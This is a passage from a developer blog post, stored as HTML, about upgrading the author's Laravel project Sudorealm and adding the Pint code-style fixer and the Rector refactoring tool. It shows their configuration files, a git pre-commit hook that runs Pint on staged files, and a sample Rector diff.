~ &lt;strong&gt;Thanos Stantzouris&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ok, now, let’s get to work! 💻🔥&lt;/p&gt;
&lt;h3&gt;
  
  
  How it went
&lt;/h3&gt;

&lt;p&gt;It wasn't as easy as I thought, I had to tackle some breaking changes here and there but thankfully Laravel has a pretty neat upgrade guide to follow through. &lt;br&gt;
The main headache, though, was the sync between already installed packages. I needed to find and upgrade all the latest versions of the packages I use. ChatGPT really helped with this process. Sometimes, the composer errors can be a bit scary, but ChatGPT fearlessly explains the steps you have to take clearly. &lt;/p&gt;

&lt;p&gt;Weirdly, though, after I successfully ran &lt;code&gt;composer update,&lt;/code&gt; I couldn't find any bugs in the app. Oh well. On to the next one!&lt;/p&gt;
&lt;h2&gt;
  
  
  Keeping Code Consistent with Pint
&lt;/h2&gt;

&lt;p&gt;My biggest challenge while coding Sudorealm was dealing with code inconsistencies between features, caused by the long breaks I took between development sessions. I know you can relate to this! This is where &lt;a href="https://github.com/laravel/pint" rel="noopener noreferrer"&gt;&lt;strong&gt;laravel/pint&lt;/strong&gt;&lt;/a&gt; 🍺 comes to play.&lt;/p&gt;
&lt;h3&gt;
  
  
  What is Pint?
&lt;/h3&gt;

&lt;p&gt;Pint is an opinionated PHP code style fixer for Laravel applications, built on top of PHP-CS-Fixer but with Laravel community standards in mind.&lt;br&gt;
It automatically formats your PHP code based on Laravel’s default coding style. It helps enforce &lt;strong&gt;clean&lt;/strong&gt;, &lt;strong&gt;readable&lt;/strong&gt;, and &lt;strong&gt;maintainable&lt;/strong&gt; code without the need to manually fix style issues.&lt;/p&gt;
&lt;h3&gt;
  
  
  Installation
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;composer require laravel/pint &lt;span class="nt"&gt;--dev&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You can see the entire &lt;a href="https://laravel.com/docs/11.x/pint" rel="noopener noreferrer"&gt;documentation&lt;/a&gt;, but I am gonna present to you how I'm about to be using it: &lt;/p&gt;
&lt;h3&gt;
  
  
  Inspecting code
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vendor/bin/pint &lt;span class="nt"&gt;--test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You see, since I am installing &lt;strong&gt;pint&lt;/strong&gt; to the project now there will be like a gazillion fixes if I run it immediately. I want to be able to keep track of the files I refactor so it's preferable for me to only inspect the code in chunks, like this for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vendor/bin/pint &lt;span class="nt"&gt;--test&lt;/span&gt; app/Http/Controllers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;I am using a strict pint setup for my project. In general, I want to take my coding skills to a lower level &lt;code&gt;Go, C, Rust&lt;/code&gt;, as time passes by, so I believe it is good to be strict with my PHP coding.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"preset"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"laravel"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"array_push"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"backtick_to_shell_exec"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"date_time_immutable"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"declare_strict_types"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"lowercase_keywords"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"lowercase_static_reference"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"final_public_method_for_abstract_class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"fully_qualified_strict_types"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"global_namespace_import"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"import_classes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"import_constants"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"import_functions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"mb_str_functions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"modernize_types_casting"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"new_with_parentheses"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"no_superfluous_elseif"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"no_useless_else"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"no_multiple_statements_per_line"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ordered_class_elements"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"order"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"use_trait"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"case"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"constant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"constant_public"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"constant_protected"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"constant_private"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"property_public"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"property_protected"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"property_private"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"construct"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"destruct"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"magic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"phpunit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"method_abstract"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"method_public_static"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"method_public"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"method_protected_static"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"method_protected"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"method_private_static"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="s2"&gt;"method_private"&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"sort_algorithm"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ordered_interfaces"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ordered_traits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"protected_to_private"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"self_accessor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"self_static_accessor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"strict_comparison"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"visibility_required"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now look... this might come to bite me in the future... But let's worry about the future when it finally comes. Check out &lt;a href="https://github.com/nunomaduro/pint-strict-preset" rel="noopener noreferrer"&gt;Pint Strict Presets&lt;/a&gt; and if you want to learn what each rule does. Well, I am not telling you... go find out here &lt;a href="https://cs.symfony.com/doc/rules/index.html" rel="noopener noreferrer"&gt;PHP Coding Standards Fixer&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Styling Code
&lt;/h3&gt;

&lt;p&gt;I will add this GitHub pre-commit hook so that pint can inspect and change the files that I 🤬 up.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="c"&gt;#!/bin/sh&lt;/span&gt;

 &lt;span class="c"&gt;# Run Laravel Pint&lt;/span&gt;
 &lt;span class="c"&gt;# This script will run Laravel Pint on newly staged PHP Files. &lt;/span&gt;

 &lt;span class="nv"&gt;files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;git diff &lt;span class="nt"&gt;--cached&lt;/span&gt; &lt;span class="nt"&gt;--name-only&lt;/span&gt; &lt;span class="nt"&gt;--diff-filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AMCR | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;php$"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
 &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$files&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;--quiet&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;php$"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
     &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Running Laravel Pint..."&lt;/span&gt;
     ./vendor/bin/pint &lt;span class="nt"&gt;--dirty&lt;/span&gt;
 &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this hook &lt;strong&gt;pint&lt;/strong&gt; styles only the files that are about to be committed. So the process of a push would be like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; - git add &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="c"&gt;# stage all the files that you changed&lt;/span&gt;
 - git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s1"&gt;'feature: best feature ever bro!'&lt;/span&gt; &lt;span class="c"&gt;# commit the files&lt;/span&gt;
 &lt;span class="c"&gt;# if pint fixes files. &lt;/span&gt;
 - git commit &lt;span class="nt"&gt;--amend&lt;/span&gt; &lt;span class="nt"&gt;--no-edit&lt;/span&gt; &lt;span class="c"&gt;# commit pint changes to previous commit&lt;/span&gt;
 - git push &lt;span class="c"&gt;# push to prod and break it&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why do I use Pint in my project?
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Zero configuration required&lt;/strong&gt; – It works out of the box with Laravel's style guide.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automation&lt;/strong&gt;– No more manually fixing indentation, spaces, or alignment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Better collaboration&lt;/strong&gt; – Ensures consistent formatting across all team members.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration-friendly&lt;/strong&gt; – Works well with Git hooks and CI/CD pipelines.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Goodbye wasting time on manual formatting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automating Code Upgrades with Rector
&lt;/h2&gt;

&lt;p&gt;One of the biggest pains in maintaining Sudorealm, or any project, to be honest, is keeping the codebase up to date, especially when upgrading versions or adopting new best practices. This is where &lt;a href="https://github.com/rectorphp/rector" rel="noopener noreferrer"&gt;&lt;strong&gt;Rector&lt;/strong&gt;&lt;/a&gt; comes into play.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is Rector?
&lt;/h3&gt;

&lt;p&gt;Rector is an automated refactoring tool for PHP that can upgrade your codebase, apply modern best practices, and even transform legacy code with predefined rules. Instead of manually updating syntax or refactoring large chunks of code, Rector does the heavy lifting for you.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;composer&lt;/span&gt; &lt;span class="k"&gt;require&lt;/span&gt; &lt;span class="n"&gt;rector&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rector&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;Following the &lt;a href="https://github.com/rectorphp/rector?tab=readme-ov-file#rector---instant-upgrades-and-automated-refactoring" rel="noopener noreferrer"&gt;rector docs&lt;/a&gt; I created a &lt;code&gt;rector.php&lt;/code&gt; in my root directory and I inserted the following rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;declare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strict_types&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Rector\Config\RectorConfig&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;RectorConfig&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;withPaths&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
        &lt;span class="k"&gt;__DIR__&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'/app'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="k"&gt;__DIR__&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'/bootstrap/app.php'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="k"&gt;__DIR__&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'/database'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="k"&gt;__DIR__&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'/public'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;withPreparedSets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;deadCode&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;codeQuality&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;typeDeclarations&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;privatization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;earlyReturn&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;strictBooleans&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;withPhpSets&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking It Down:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;withPaths([...])&lt;/code&gt;:  Tells Rector which parts of the project to scan and refactor. In this case:&lt;/li&gt;
&lt;li&gt;The app/ directory (core application logic)&lt;/li&gt;
&lt;li&gt;The bootstrap/app.php file (app setup)&lt;/li&gt;
&lt;li&gt;The database/ directory (migrations, seeders, factories)&lt;/li&gt;
&lt;li&gt;The public/ directory (entry point, assets, etc.)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;withPreparedSets([...])&lt;/code&gt;: Activates predefined rule sets that help clean up and improve the codebase:&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Dead Code&lt;/strong&gt; – Removes unused variables, methods, and classes.&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Code Quality&lt;/strong&gt; – Applies general best practices for cleaner, more maintainable code.&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Type Declarations&lt;/strong&gt; – Ensures type hints (int, string, etc.) are correctly applied.&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Privatization&lt;/strong&gt; – Converts class properties and methods to private where possible.&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Early Return&lt;/strong&gt; – Rewrites if conditions to reduce nesting and improve readability.&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Strict Booleans&lt;/strong&gt; – Forces explicit true/false checks instead of loose comparisons.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;withPhpSets()&lt;/code&gt;: Applies PHP version-specific upgrades to keep the code modern.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I ran &lt;code&gt;./vendor/bin/rector&lt;/code&gt; and I got changes like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;Listeners&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;AwardBadgeAfterUserVerified&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;

    &lt;span class="o"&gt;----------&lt;/span&gt; &lt;span class="n"&gt;begin&lt;/span&gt; &lt;span class="n"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;----------&lt;/span&gt;
&lt;span class="o"&gt;@@&lt;/span&gt; &lt;span class="o"&gt;@@&lt;/span&gt;
             &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;badgeAwardService&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;awardBadgesToUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;BadgeTypeEnum&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;USER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
         &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
             &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Verified event user is not an instance of App\Models\User'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
